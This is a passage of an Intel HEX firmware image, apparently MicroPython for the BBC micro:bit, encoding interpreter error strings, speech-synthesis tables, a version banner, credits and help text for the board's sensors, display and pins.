:10030000571220207A2047220710453091132D20C4\n:100310002E202F202E234410302045102D23421054\n:100320009F3043102F224A10071016242B1049101B\n:1003300078206E206E126F20732071627A206530F3\n:1003400070241B107130491078206F637220743054\n:1003500073307232702073231C10491078204033A0\n:1003600041204810456249107A204423321007107A\n:10037000453046624D107A204113422043204420EC\n:10038000426307104530463043223110473048332E\n:10039000492048104C22321007104D624D107A202F\n:1003A00049134A204B204C204A6207104D304B2203\n:1003B00031104E304E61071014252C107A20491050\n:1003C0007820743076627A2077307762121021209C\n:1003D00017242D107520491078207531762048108B\n:1003E000223123203C10A912AA203320AA221E1059\n:1003F0007A2036222E10A9300C213620E108E90798\n:10040000EE0E4D0DDA0B2F0BF70961080000180EE8\n:100410008E0C00008F0A6809000002000200040030\n:1004200007000D0019003100610000686E020078BD\n:100430006F02008871020060C0020070C10200807B\n:10044000C302000002000400060008000A000C00BD\n:10045000110017001D0025002F003B00490061001E\n:100460007F00A700DF00250185010902B302970381\n:10047000C7045B0671089D0CDF124B1C6D2A913F6F\n:10048000575FFF8E7BD6737461636B3A20257520AE\n:100490006F7574206F662025750A00717374722061\n:1004A000706F6F6C3A206E5F706F6F6C3D25752CAE\n:1004B000206E5F717374723D25752C206E5F7374AE\n:1004C000725F646174615F62797465733D25752C38\n:1004D000206E5F746F74616C5F62797465733D2523\n:1004E000750A0062756666657220746F6F20736DA1\n:1004F000616C6C00617267756D656E742068617304\n:100500002077726F6E672074797065006D656D6F0E\n:10051000727920616C6C6F636174696F6E206661C3\n:10052000696C65642C2068656170206973206C6F4C\n:10053000636B6564006D656D6F727920616C6C6FC3\n:10054000636174696F6E206661696C65642C2061FB\n:100550006C6C6F636174696E6720257520627974B5\n:100560006573006E65676174697665207368696696\n:100570007420636F756E7400756E737570706F7232\n:1005800074656420747970657320666F72202571BC\n:100590003A20272573272C202725732700646976A6\n:1005A0006973696F6E206279207A65726F00272502\n:1005B0007327206F626A656374206973206E6F749D\n:1005C0002063616C6C61626C650027257327206F66\n:1005D000626A656374206973206E6F742069746544\n:1005E0007261626C650063616E6E6F7420696D701C\n:1005F0006F7274206E616D65202571002725732749\n:10060000206F626A656374206973206E6F74206165\n:100610006E206974657261746F72006E616D652021\n:1006200027257127206973206E6F742064656669C1\n:100630006E65640074797065206F626A656374200A\n:100640002725712720686173206E6F206174747292\n:100650006962757465202725712700272573272077\n:100660006F626A65637420686173206E6F206174C5\n:100670007472696275746520272571270065786337\n:10068000657074696F6E73206D7573742064657224\n:100690006976652066726F6D204261736545786387\n:1006A000657074696F6E00756E737570706F7274BB\n:1006B0006564207479706520666F722025713A2018\n:1006C00027257327006E656564206D6F7265207441\n:1006D00068616E2025642076616C75657320746F87\n:1006E00020756E7061636B00746F6F206D616E7941\n:1006F0002076616C75657320746F20756E70616310\n:100700006B20286578706563746564202564290012\n:100710002B2D786B63642E636F6D2F333533B32DC0\n:100720002B0A7CC0207C0A7CB4205C302F89207C82\n:100730000A7CB2202F83205C89207C0A7C88205987\n:100740006F7527726520666C79696E672192204DFE\n:100750006963726F507974686F6E2120202F7C88D6\n:10076000207C0A7C8C20486F773FA6205C205C8729\n:10077000207C0A7C8C202FB3207C0A7C8A2030B518\n:10078000207C0A7C89202F7C5CB4207C0A7C8A2017\n:100790007CB5207C0A7C852D845F2F5F5C9E5F96F4\n:1007A0002D7C0A7CC0207C0A2BC02D2B0A00696D91\n:1007B000706F727420000A2573007768696C650099\n:1007C000666F7200747279002C200025713D00471D\n:1007D0006C6974636865733A2025640D0A0074655A\n:1007E000787420746F6F206C6F6E6700636F756C28\n:1007F00064206E6F7420706172736520696E70750D\n:10080000740066756E6374696F6E20646F65732023\n:100810006E6F742074616B65206B6579776F72649D\n:1008200020617267756D656E74730066756E6374B2\n:10083000696F6E2074616B657320256420706F731F\n:100840006974696F6E616C20617267756D656E7435\n:10085000732062757420256420776572652067694E\n:1008600076656E0066756E6374696F6E206D697370\n:1008700073696E672025642072657175697265649D\n:1008800020706F736974696F6E616C206172677537\n:100890006D656E74730066756E6374696F6E206546\n:1008A00078706563746564206174206D6F73742063\n:1008B000256420617267756D656E74732C20676F97\n:1008C00074202564002725712720617267756D6586\n:1008D0006E742072657175697265640065787472F2\n:1008E0006120706F736974696F6E616C20617267EB\n:1008F000756D656E747320676976656E00657874D2\n:100900007261206B6579776F726420617267756DB3\n:10091000656E747320676976656E00546865205A49\n:10092000656E206F66204D6963726F507974686FD1\n:100930006E2C206279204E6963686F6C6173204869\n:100940002E20546F6C6C65727665790A0A436F6469\n:10095000652C0A4861636B2069742C0A4C657373BB\n:10096000206973206D6F72652C0A4B656570206974\n:10097000742073696D706C652C0A536D616C6C200A\n:1009800069732062656175746966756C2C0A0A4228\n:10099000652062726176652120427265616B207408\n:1009A00068696E677321204C6561726E20616E64A8\n:1009B00020686176652066756E210A4578707265DB\n:1009C000737320796F757273656C662077697468CC\n:1009D000204D6963726F507974686F6E2E0A0A48F1\n:1009E00061707079206861636B696E6721203A2DB0\n:1009F000290A004D6963726F507974686F6E206FB9\n:100A00006E20746865206D6963726F3A6269742044\n:100A100069732062726F7567687420746F20796FD4\n:100A2000752062793A0A44616D69656E20502E2006\n:100A300047656F7267652C204D61726B205368614A\n:100A40006E6E6F6E2C205261646F6D697220446F00\n:100A500070696572616C736B692C204D6174746888\n:100A6000657720456C73652C0A4361726F6C205763\n:100A7000696C6C696E672C20546F6D2056696E65C9\n:100A8000722C20416C616E204A61636B736F6E2C17\n:100A9000204E69636B20436F67686C616E2C204A3F\n:100AA0006F7365706820486169672C0A416C6578CE\n:100AB000204368616E2C20416E647265612047722C\n:100AC000616E64692C205061756C204567616E2CE5\n:100AD0002050696F7472204B617370727A796B2C3D\n:100AE00020416E64726577204D756C686F6C6C6127\n:100AF0006E642C0A4D61747420576865656C65726C\n:100B00002C204A6F6520476C616E63792C2041620E\n:100B10006269652042726F6F6B7320616E64204E54\n:100B20006963686F6C617320482E20546F6C6C652C\n:100B3000727665792E0A00332E342E3000010001C2\n:100B400000E3B14BEA85BCE5660DAE8C881269EE18\n:100B50001FC76297D50B79CACC1B5D191024D3DC53\n:100B60003F8EC52F0F0F0F0FE2ECF0F4F8FC0004DE\n:100B7000726164696F206973206E6F7420656E61A5\n:100B8000626C656400617267756D656E7473206D6B\n:100B9000757374206265206B6579776F726420616C\n:100BA0007267756D656E747300756E6B6E6F776EC0\n:100BB00020617267756D656E742027257127007638\n:100BC000616C7565206F7574206F662072616E6749\n:100BD0006520666F7220617267756D656E7420277F\n:100BE00025712700726563656976656420706163AD\n:100BF0006B6574206973206E6F742061207374724A\n:100C0000696E67002766726F7A656E736574272058\n:100C1000686173206E6F20737563682061747472ED\n:100C2000696275746500706F702066726F6D206107\n:100C30006E20656D707479207365740066726F7ACA\n:100C4000656E0073657428290066726F7A656E732D\n:100C5000657428007B00535049206E6F7420696EC4\n:100C6000697469616C697365640067656E6572615A\n:100C7000746F722069676E6F7265642047656E6578\n:100C80007261746F7245786974003C67656E657255\n:100C900061746F72206F626A656374202725712703\n:100CA0002061742025703E0063616E277420736597\n:100CB0006E64206E6F6E2D4E6F6E652076616C7562\n:100CC0006520746F2061206A7573742D737461726E\n:100CD0007465642067656E657261746F72000A00E6\n:100CE0000B0C0D0E0F46696E616C206461746120FF\n:100CF000666F7220737065656368206F75747075B8\n:100D0000742E202569206672616D65733A0D0A0D97\n:100D10000A0020666C61677320616D706C3120661B\n:100D20007265713120616D706C322066726571324E\n:100D300020616D706C332066726571332070697448\n:100D400063680D002D2D2D2D2D2D2D2D2D2D2D2DAF\n:100D50002D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2DC3\n:100D60002D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2DB3\n:100D70002D2D2D2D0D002535692025356920253592\n:100D800069202535692025356920253569202535D7\n:100D900069202535690D0A003D3D3D3D3D3D3D3D08\n:100DA0003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D73\n:100DB0003D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D63\n:100DC0003D3D3D0D0025733A0D0A0D0A0020696472\n:100DD000782020202070686F6E656D6520206C651E\n:100DE0006E67746820207374726573730D0020251C\n:100DF0003369202020202020256325632020202007\n:100E000020202533692020202020202025690D0A5C\n:100E100000202533692020202020203F3F20202053\n:100E20002020202533692020202020202025690D26\n:100E30000A00627974656172726179286200617278\n:100E40007261792827256327002C205B006F6E6C68\n:100E50007920736C69636573207769746820737493\n:100E600065703D312028616B61204E6F6E652920D1\n:100E700061726520737570706F727465640054726E\n:100E800075650046616C73650070617273657220F0\n:100E9000636F756C64206E6F7420616C6C6F63613E\n:100EA000746520656E6F756768206D656D6F72790A\n:100EB00000756E657870656374656420696E64653D\n:100EC0006E7400756E696E64656E7420646F657310\n:100ED000206E6F74206D6174636820616E79206F7D\n:100EE0007574657220696E64656E746174696F6E85\n:100EF000206C6576656C0063616E6E6F74206D6941\n:100F00007820627974657320616E64206E6F6E6202\n:100F100079746573206C69746572616C7300696EB5\n:100F200076616C69642073796E74617800030000E7\n:100F30000000000000003C6D6F64756C6520272583\n:100F400073273E006F766572666C6F7720636F6EF5\n:100F500076657274696E67206C6F6E6720696E7457\n:100F600020746F206D616368696E6520776F7264AD\n:100F7000004F4B0050686F6E656D657320746F6F26\n:100F8000206C6F6E6700496C6C6567616C207069DE\n:100F90007463680050686F6E656D65206E6F7420B5\n:100FA000756E64657273746F6F6400496E707574EA\n:100FB0002070686F6E656D657300494E5445524EE2\n:100FC000414C204552524F523A20496C6C65676142\n:100FD0006C2070686F6E656D6520696E6465780061\n:100FE000496E7365727420427265616474680D00A5\n:100FF00050726F6365737365642070686F6E656DA2\n:101000006573000000000000A4A4A4A4A4A4848428\n:10101000A4A48484848484848444444444444C4C00\n:101020004C484C4040404040404444444448404C7C\n:10103000440000B4B4B49494944E4E4E4E4E4E4E72\n:101040004E4E4E4E4E4B4B4B4B4B4B4B4B4B4B4BE1\n:101050004B80C1C180C1C1C1C100000000000000BF\n:101060000000000000000000000000101010100838\n:101070000C080440242020240000242020242020C8\n:101080000020000000000000000000000004040434\n:101090000000000000000000000404040000000044\n:1010A00000000012121208080808080B060C0A05B6\n:1010B000050B0A0A0A0908070907060806070707B1\n:1010C00002050202020202020606070606020803E1\n:1010D000011E0D0C0C0C0E09060102050101060192\n:1010E00002060102080202040202060104060104CB\n:1010F000C7FF00121212080B090B0E0F0B100C0683\n:10110000060E0C0E0C0B08080B0A09080808080844\n:10111000030502020202020206060806060209048C\n:1011200002010E0F0F0F0E0E080202070201070246\n:101130000207020208020206020207020407010473\n:101140000505202E3F2C2D4949454141414155413E\n:101150004945554F524C575957524C57594D4E4E81\n:101160004451535346542F2F5A5A5644432A4A2A1D\n:101170002A2A45414F414F55422A2A442A2A472AC2\n:101180002A472A2A502A2A542A2A4B2A2A4B2A2A10\n:101190005555552A2A2A2A2A5948484541484F4830\n:1011A000585852584858585858482A2A2A2A2A2AF9\n:1011B00058582A2A482A4848582A482A48482A2A51\n:1011C0002A2A2A5959595757572A2A2A2A2A2A2A6B\n:1011D0002A2A582A2A2A2A2A2A2A2A2A2A2A582A13\n:1011E0002A4C4D4E2A31323334353637386E6F2023\n:1011F0006D6F72652073746F7261676520737061C3\n:10120000636500492F4F206F7065726174696F6E5E\n:10121000206F6E20636C6F7365642066696C650077\n:1012200066696C65206E6F7420666F756E64006D04\n:1012300061746820646F6D61696E206572726F728F\n:1012400000696C6C6567616C206D6F64650063613B\n:101250006E6E6F7420706572666F726D2072656C51\n:10126000617469766520696D706F7274006E6F20AD\n:101270006D6F64756C65206E616D656420272571E6\n:1012800027005F5F696E69745F5F2E70790074720A\n:1012900075650066616C736500286E756C6C29005D\n:1012A000202020202020202020202020202020203E\n:1012B000003030303030303030303030303030305E\n:1012C000300004004D6963726F507974686F6E204E\n:1012D00076312E392E322D33342D67643634313544\n:1012E00034633733206F6E20323031372D30392D53\n:1012F00030313B206D6963726F3A626974207631D8\n:101300002E302E312077697468206E524635313880\n:1013100032320D0A0054797065202268656C70289D\n:10132000292220666F72206D6F726520696E666F6C\n:10133000726D6174696F6E2E0D0A003E3E3E200094\n:101340000D0A7061737465206D6F64653B20437492\n:10135000726C2D4320746F2063616E63656C2C206A\n:101360004374726C2D4420746F2066696E697368D3\n:101370000D0A3D3D3D20002E2E2E2000726177206B\n:101380005245504C3B204354524C2D4220746F2008\n:10139000657869740D0A003C2573206F626A656385\n:1013A000742061742025703E006973737562636CEC\n:1013B0006173732829206172672031206D75737401\n:1013C000206265206120636C617373005F5F696EEA\n:1013D00069745F5F28292073686F756C642072657B\n:1013E0007475726E204E6F6E652C206E6F742027A0\n:1013F000257327006973737562636C6173732829A1\n:10140000206172672032206D7573742062652061DF\n:1014100020636C617373206F722061207475706C2F\n:1014200065206F6620636C617373657300747970F7\n:10143000652027257127206973206E6F7420616EE7\n:101440002061636365707461626C652062617365BD\n:101450002074797065006D756C7469706C652062BC\n:1014600061736573206861766520696E7374616E5F\n:101470006365206C61792D6F757420636F6E666C87\n:10148000696374003C73757065723A200063616E25\n:101490006E6F742063726561746520272571272043\n:1014A000696E7374616E636573007479706520741E\n:1014B000616B65732031206F722033206172677514\n:1014C0006D656E7473003C636C61737320272571C6\n:1014D000273E0063616E277420636F6E76657274B9\n:1014E0002027257127206F626A65637420746F203E\n:1014F000257120696D706C696369746C790062791B\n:101500007465732076616C7565206F7574206F66E5\n:101510002072616E67650077726F6E67206E756D01\n:10152000626572206F6620617267756D656E747397\n:1015300000696E636F6D706C65746520666F726DA7\n:10154000617400666F726D61742072657175697285\n:1015500065732061206469637400696E636F6D70E8\n:101560006C65746520666F726D6174206B657900BF\n:101570006E6F7420656E6F75676820617267756D38\n:10158000656E747320666F7220666F726D61742071\n:10159000737472696E6700252563207265717569C1\n:1015A00072657320696E74206F72206368617200C7\n:1015B000696E7465676572207265717569726564BC\n:1015C00000756E737570706F7274656420666F72EB\n:1015D0006D61742063686172616374657220272590\n:1015E00063272028307825782920617420696E646B\n:1015F0006578202564006E6F7420616C6C206172C8\n:1016000067756D656E747320636F6E766572746551\n:101610006420647572696E6720737472696E6720E6\n:10162000666F726D617474696E670073696E676C62\n:101630006520277D2720656E636F756E7465726502\n:101640006420696E20666F726D61742073747269B4\n:101650006E670062616420636F6E76657273696F96\n:101660006E2073706563696669657200756E6D6181\n:10167000746368656420277B2720696E20666F721B\n:101680006D617400657870656374656420273A271E\n:1016900020616674657220666F726D61742073706C\n:1016A000656369666965720063616E27742073778C\n:1016B000697463682066726F6D206175746F6D6107\n:1016C000746963206669656C64206E756D6265720D\n:1016D000696E6720746F206D616E75616C2066693C\n:1016E000656C642073706563696669636174696FB2\n:1016F0006E007475706C6520696E646578206F7516\n:1017000074206F662072616E67650061747472691F\n:101710006275746573206E6F7420737570706F726C\n:10172000746564207965740063616E277420737733\n:10173000697463682066726F6D206D616E75616C8F\n:10174000206669656C6420737065636966696361AE\n:1017500074696F6E20746F206175746F6D61746948\n:1017600063206669656C64206E756D626572696E72\n:1017700067003C3E3D5E00626364654566466747C0\n:101780006E6F7378582500696E76616C69642066A7\n:101790006F726D617420737065636966696572004C\n:1017A0007369676E206E6F7420616C6C6F7765640F\n:1017B00020696E20737472696E6720666F726D6146\n:1017C0007420737065636966696572007369676E1A\n:1017D000206E6F7420616C6C6F776564207769741C\n:1017E0006820696E746567657220666F726D6174DA\n:1017F00020737065636966696572202763270075C9\n:101800006E6B6E6F776E20666F726D617420636FA2\n:101810006465202725632720666F72206F626A65E2\n:101820006374206F66207479706520272573270004\n:10183000756E6B6E6F776E20666F726D617420636C\n:101840006F6465202725632720666F72206F626AA8\n:10185000656374206F6620747970652027666C6FED\n:1018600061742700273D2720616C69676E6D656E86\n:1018700074206E6F7420616C6C6F77656420696E84\n:1018800020737472696E6720666F726D6174207365\n:10189000706563696669657200756E6B6E6F776EF1\n:1018A00020666F726D617420636F64652027256305\n:1018B0002720666F72206F626A656374206F6620EE\n:1018C0007479706520277374722700656D70747960\n:1018D00020736570617261746F72005C2563005CD7\n:1018E0005C005C6E005C72005C74005C78253032D9\n:1018F000780073746172742F656E6420696E646918\n:1019000063657300737562737472696E67206E6FBE\n:101910007420666F756E64006A6F696E20657870FA\n:10192000656374732061206C697374206F66207323\n:1019300074722F6279746573206F626A6563747361\n:1019400020636F6E73697374656E74207769746851\n:101950002073656C66206F626A65637400252E2AA9\n:1019600073007273706C6974284E6F6E652C6E29EB\n:101970000020090A0D0B0C00737472696E672069F0\n:101980006E6469636573206D757374206265206988\n:101990006E7465676572732C206E6F7420257300FA\n:1019A000737472696E6720696E646578206F7574F0\n:1019B000206F662072616E6765005C752530347833\n:1019C000005C55253038780063616E27742073659C\n:1019D000742061747472696275746500756E6578DF\n:1019E000706563746564206B6579776F72642061DC\n:1019F0007267756D656E7420272571270066756E98\n:101A00006374696F6E20676F74206D756C74697094\n:101A10006C652076616C75657320666F72206172EB\n:101A200067756D656E74202725712700736C696377\n:101A3000652800696E76616C6964207069746368FA\n:101A4000004D6963726F426974416363656C6572CE\n:101A50006F6D6574657220747970650A00557365E1\n:101A600066756C20737475666620746F20636F6E84\n:101A700074726F6C20746865206D6963726F3A626E\n:101A800069742068617264776172652E0A0050750E\n:101A900074206D6963726F3A62697420696E207098\n:101AA000616E69632829206D6F646520616E642012\n:101AB000646973706C617920616E20756E68617005\n:101AC000707920666163652E0A50726573732072A7\n:101AD0006573657420627574746F6E20746F206511\n:101AE0007869742070616E69632829206D6F646560\n:101AF0002E0A00507574206D6963726F3A626974C2\n:101B000020746F20736C6565702874696D65292079\n:101B1000666F7220736F6D65206D696C6C6973659B\n:101B2000636F6E6473202831207365636F6E642069\n:101B30003D2031303030206D7329206F662074696C\n:101B40006D652E0A736C656570283230303029203F\n:101B50006769766573206D6963726F3A6269742094\n:101B6000612032207365636F6E64206E61702E0A8F\n:101B70000052657475726E2072756E6E696E675F65\n:101B800074696D65282920696E206D696C6C6973B4\n:101B900065636F6E64732073696E6365206D69633E\n:101BA000726F3A6269742773206C61737420726576\n:101BB0007365742E0A0052657475726E206D6963C8\n:101BC000726F3A62697427732074656D7065726113\n:101BD0007475726520696E2064656772656573202F\n:101BE00043656C636975732E0A004465746563749C\n:101BF000206D6963726F3A6269742773206D6F7626\n:101C0000656D656E7420696E2033442E0A49742018\n:101C10006D656173757265732074696C74202858E2\n:101C200020616E6420592920616E642075702D64D6\n:101C30006F776E20285A29206D6F74696F6E2E0A97\n:101C40000052657475726E206D6963726F3A6269D5\n:101C50007427732074696C7420285820616363654D\n:101C60006C65726174696F6E2920696E206D696C94\n:101C70006C692D6727732E0A0052657475726E2089\n:101C80006D6963726F3A62697427732074696C744A\n:101C900020285920616363656C65726174696F6E99\n:101CA0002920696E206D696C6C692D6727732E0A77\n:101CB0000052657475726E206D6963726F3A626965\n:101CC0007427732075702D646F776E206D6F746943\n:101CD0006F6E20285A20616363656C657261746958\n:101CE0006F6E2920696E206D696C6C692D67277392\n:101CF0002E0A5A206973206120706F7369746976A7\n:101D000065206E756D626572207768656E206D6FF7\n:101D100076696E672075702E204D6F76696E67202C\n:101D2000646F776E2C205A2069732061206E65677E\n:101D30006174697665206E756D6265722E0A006D3C\n:101D40006963726F3A6269742773202741272062A2\n:101D50007574746F6E2E205768656E20627574748A\n:101D60006F6E206973207072657373656420646F91\n:101D7000776E2C2069735F707265737365642829B0\n:101D800020697320547275652E0A006D6963726F45\n:101D90003A62697427732027422720627574746F32\n:101DA0006E2E205768656E20627574746F6E2069A0\n:101DB00073207072657373656420646F776E2C2076\n:101DC00069735F7072657373656428292069732075\n:101DD000547275652E0A0049662074686520627524\n:101DE00074746F6E206973207072657373656420FC\n:101DF000646F776E2C2069735F70726573736564AE\n:101E0000282920697320547275652C20656C7365D0\n:101E10002046616C73652E0A0055736520776173E7\n:101E20005F70726573736564282920746F206C6518\n:101E300061726E2069662074686520627574746FC3\n:101E40006E207761732070726573736564207369A7\n:101E50006E636520746865206C6173742074696DAD\n:101E6000650A7761735F70726573736564282920F2\n:101E70007761732063616C6C65642E2052657475A4\n:101E8000726E732054727565206F722046616C7398\n:101E9000652E0A00557365206765745F70726573FF\n:101EA000736573282920746F2067657420746865D2\n:101EB0002072756E6E696E6720746F74616C206F2E\n:101EC0006620627574746F6E2070726573736573CB\n:101ED0002C20616E6420616C736F0A726573657487\n:101EE000207468697320636F756E74657220746FF7\n:101EF000207A65726F2E0A0047697665732061202B\n:101F0000636F6D706173732068656164696E6720CB\n:101F10006265747765656E20302D333630207769C1\n:101F200074682030206173206E6F7274682E0A000E\n:101F3000557365206D6963726F3A62697427732007\n:101F4000636F6D7061737320746F20646574656373\n:101F5000742074686520646972656374696F6E20AB\n:101F600069742069732068656164696E6720696EB1\n:101F70002E0A54686520636F6D706173732063610E\n:101F80006E20646574656374206D61676E65746945\n:101F900063206669656C64732E0A497420757365E5\n:101FA00073207468652045617274682773206D61C1\n:101FB000676E65746963206669656C6420746F2060\n:101FC00064657465637420646972656374696F6EB7\n:101FD0002E0A004966206D6963726F3A6269742740\n:101FE0007320636F6D706173732069735F63616CDD\n:101FF00069627261746564282920616E642061647D\n:102000006A757374656420666F72206163637572AC\n:102010006163792C2072657475726E2054727565D7\n:102020002E0A496620636F6D706173732068617357\n:102030006E2774206265656E2061646A75737465CD\n:102040006420666F722061636375726163792C200E\n:1020500072657475726E2046616C73652E0A004954\n:1020600066206D6963726F3A6269742069732063D8\n:102070006F6E66757365642C2063616C6962726152\n:10208000746528292074686520636F6D70617373AF\n:1020900020746F2061646A757374207468652069A8\n:1020A00074732061636375726163792E0A497420C9\n:1020B00077696C6C2061736B20796F7520746F2069\n:1020C000726F7461746520746865206465766963F5\n:1020D0006520746F20647261772061206369726388\n:1020E0006C65206F6E2074686520646973706C6124\n:1020F000792E0A005265736574206D6963726F3AB8\n:10210000626974277320636F6D70617373207573D8\n:10211000696E6720636C6561725F63616C6962728E\n:102120006174696F6E282920636F6D6D616E642E16\n:102130000A52756E2063616C696272617465282948\n:1021400020746F20696D70726F76652061636375AE\n:10215000726163792E0A0052657475726E206D612A\n:10216000676E65746963206669656C642064657474\n:10217000656374656420616C6F6E67206D6963725E\n:102180006F3A6269742773205820617869732E0A48\n:10219000557375616C6C792C2074686520636F6D64\n:1021A000706173732072657475726E7320746865E4\n:1021B0002065617274682773206D61676E6574694C\n:1021C00063206669656C6420696E206D6963726F57\n:1021D0002D5465736C6120756E6974732E0A556E8B\n:1021E0006C6573732E2E2E61207374726F6E672070\n:1021F0006D61676E6574206973206E6561726279C6\n:10220000210A0052657475726E206D61676E657487\n:102210006963206669656C642064657465637465D0\n:102220006420616C6F6E67206D6963726F3A6269DA\n:10223000742773205920617869732E0A557375616C\n:102240006C6C792C2074686520636F6D706173739A\n:102250002072657475726E73207468652065617292\n:1022600074682773206D61676E65746963206669A1\n:10227000656C6420696E206D6963726F2D5465739F\n:102280006C6120756E6974732E0A556E6C6573737C\n:102290002E2E2E61207374726F6E67206D61676ED3\n:1022A0006574206973206E6561726279210A00523B\n:1022B000657475726E206D61676E65746963206602\n:1022C00069656C6420646574656374656420616C21\n:1022D0006F6E67206D6963726F3A6269742773204D\n:1022E0005A20617869732E0A557375616C6C792C6C\n:1022F0002074686520636F6D7061737320726574FC\n:1023000075726E73207468652065617274682773D6\n:10231000206D61676E65746963206669656C642011\n:10232000696E206D6963726F2D5465736C612075E1\n:102330006E6974732E0A556E6C6573732E2E2E6142\n:10234000207374726F6E67206D61676E65742069AB\n:1023500073206E6561726279210A0052657475722C\n:102360006E20737472656E677468206F66206D618D\n:10237000676E65746963206669656C642061726F5D\n:10238000756E64206D6963726F3A6269742E0A001B\n:102390006D6963726F3A62697427732035783520EE\n:1023A0004C454420646973706C61792E0A00557342\n:1023B000652073686F7728782920746F20707269A0\n:1023C0006E742074686520737472696E67206F7212\n:1023D00020696D616765732027782720746F2074EA\n:1023E000686520646973706C61792E20547279205D\n:1023F00073686F77282748692127292E0A55736546\n:102400002073686F7728732C20692920746F2073DC\n:10241000686F7720737472696E67202773272C208A\n:102420006F6E6520636861726163746572206174A8\n:1024300020612074696D652077697468206120646B\n:10244000656C6179206F660A276927206D696C6C5D\n:10245000697365636F6E64732E0A0055736520732C\n:1024600063726F6C6C28732920746F207363726FB2\n:102470006C6C2074686520737472696E67202773B2\n:1024800027206163726F73732074686520646973B9\n:10249000706C61792E0A557365207363726F6C6C72\n:1024A00028732C20692920746F207363726F6C6C01\n:1024B00020737472696E67202773272077697468A8\n:1024C00020612064656C6179206F66202769272070\n:1024D0006D696C6C697365636F6E6473206166749B\n:1024E00065720A656163682063686172616374651F\n:1024F000722E0A0055736520636C6561722829206D\n:10250000746F20636C656172206D6963726F3A62EB\n:102510006974277320646973706C61792E0A0055A1\n:102520007365206765745F706978656C28782C2006\n:10253000792920746F2072657475726E20746865D5\n:1025400020646973706C61792773206272696768AF\n:10255000746E657373206174204C454420706978F3\n:10256000656C2028782C79292E0A42726967687474\n:102570006E6573732063616E2062652066726F6D95\n:10258000203020284C4544206973206F666629203E\n:10259000746F203920286D6178696D756D204C4508\n:1025A00044206272696768746E657373292E0A002D\n:1025B000557365207365745F706978656C28782C35\n:1025C00020792C20622920746F2073657420746830\n:1025D0006520646973706C6179206174204C454496\n:1025E00020706978656C2028782C792920746F20F8\n:1025F0006272696768746E657373202762270A7751\n:10260000686963682063616E206265207365742069\n:102610006265747765656E203020286F66662920B4\n:10262000746F2039202866756C6C20627269676847\n:10263000746E657373292E0A00557365206F6E28BA\n:102640002920746F207475726E206F6E2074686517\n:1026500020646973706C61792E0A00557365206F70\n:102660006666282920746F207475726E206F666606\n:102670002074686520646973706C61792E0A005556\n:1026800073652069735F6F6E282920746F207175E0\n:1026900065727920696620746865206D6963726F60\n:1026A0003A626974277320646973706C6179206978\n:1026B00073206F6E20285472756529206F72206F09\n:1026C0006666202846616C7365292E0A005573657D\n:1026D00020726561645F6C696768745F6C657665BC\n:1026E0006C282920746F20676574207468652061E8\n:1026F0006D6269656E74206C69676874206C6576BC\n:10270000656C2C206265747765656E2030202864C6\n:1027100061726B2920616E64203235352028627227\n:1027200069676874292E0A006D6963726F3A62697D\n:102730007427732070696E2030206F6E2074686576\n:1027400020676F6C64206564676520636F6E6E65DB\n:1027500063746F722E0A006D6963726F3A626974F6\n:1027600027732070696E2031206F6E207468652099\n:10277000676F6C64206564676520636F6E6E656368\n:10278000746F722E0A006D6963726F3A6269742702\n:10279000732070696E2032206F6E20746865206728\n:1027A0006F6C64206564676520636F6E6E6563742B\n:1027B0006F722E0A006D6963726F3A6269742773D3\n:1027C0002070696E2033206F6E2074686520676FFB\n:1027D0006C64206564676520636F6E6E6563746FFB\n:1027E000722E0A006D6963726F3A626974277320F2\n:1027F00070696E2034206F6E2074686520676F6C7E\n:1028000064206564676520636F6E6E6563746F72C4\n:102810002E0A006D6963726F3A62697427732070C3\n:10282000696E2035206F6E2074686520676F6C6458\n:10283000206564676520636F6E6E6563746F722ECA\n:102840000A006D6963726F3A626974277320706958\n:102850006E2036206F6E2074686520676F6C642070\n:102860006564676520636F6E6E6563746F722E0AB0\n:10287000006D6963726F3A62697427732070696EC4\n:102880002037206F6E2074686520676F6C64206548\n:1028900064676520636F6E6E6563746F722E0A00E5\n:1028A0006D6963726F3A62697427732070696E2074\n:1028B00038206F6E2074686520676F6C64206564D3\n:1028C000676520636F6E6E6563746F722E0A006DAC\n:1028D0006963726F3A62697427732070696E203978\n:1028E000206F6E2074686520676F6C642065646774\n:1028F0006520636F6E6E6563746F722E0A006D697A\n:1029000063726F3A62697427732070696E20313088\n:10291000206F6E2074686520676F6C642065646743\n:102920006520636F6E6E6563746F722E0A006D6949\n:1029300063726F3A62697427732070696E20313157\n:10294000206F6E2074686520676F6C642065646713\n:102950006520636F6E6E6563746F722E0A006D6919\n:1029600063726F3A62697427732070696E20313226\n:10297000206F6E2074686520676F6C6420656467E3\n:102980006520636F6E6E6563746F722E0A006D69E9\n:1029900063726F3A62697427732070696E203133F5\n:1029A000206F6E2074686520676F6C6420656467B3\n:1029B0006520636F6E6E6563746F722E0A006D69B9\n:1029C00063726F3A62697427732070696E203134C4\n:1029D000206F6E2074686520676F6C642065646783\n:1029E0006520636F6E6E6563746F722E0A006D6989\n:1029F00063726F3A62697427732070696E20313593\n:102A0000206F6E2074686520676F6C642065646752\n:102A10006520636F6E6E6563746F722E0A006D6958\n:102A200063726F3A62697427732070696E20313661\n:102A3000206F6E2074686520676F6C642065646722\n:102A40006520636F6E6E6563746F722E0A006D6928\n:102A500063726F3A62697427732070696E2031392E\n:102A6000206F6E2074686520676F6C6420656467F2\n:102A70006520636F6E6E6563746F722E0A006D69F8\n:102A800063726F3A62697427732070696E20323006\n:102A9000206F6E2074686520676F6C6420656467C2\n:102AA0006520636F6E6E6563746F722E0A006D69C8\n:102AB00063726F3A6269742C2077726974655F641F\n:102AC00069676974616C2863686F6963652920743C\n:102AD0006F207468652070696E2E20596F752068AC\n:102AE0006176652074776F202763686F6963652757\n:102AF0002076616C7565732C0A3020286C6F292054\n:102B00006F72203120286869292E0A006D6963726E\n:102B10006F3A6269742C20726561645F64696769E9\n:102B200074616C28292076616C75652066726F6D02\n:102B3000207468652070696E20617320656974680F\n:102B40006572203020286C6F29206F722031202878\n:102B50006869292E0A006D6963726F3A6269742C84\n:102B60002077726974655F616E616C6F672876614A\n:102B70006C75652920746F207468652070696E2EED\n:102B800020596F752063616E2075736520616E79C1\n:102B90002076616C7565206265747765656E0A30B4\n:102BA00020616E6420313032332E0A006D69637209\n:102BB0006F3A6269742C20726561645F616E616C4A\n:102BC0006F6728292076616C75652066726F6D20AD\n:102BD0007468652070696E2E20576F772C20616EA7\n:102BE000616C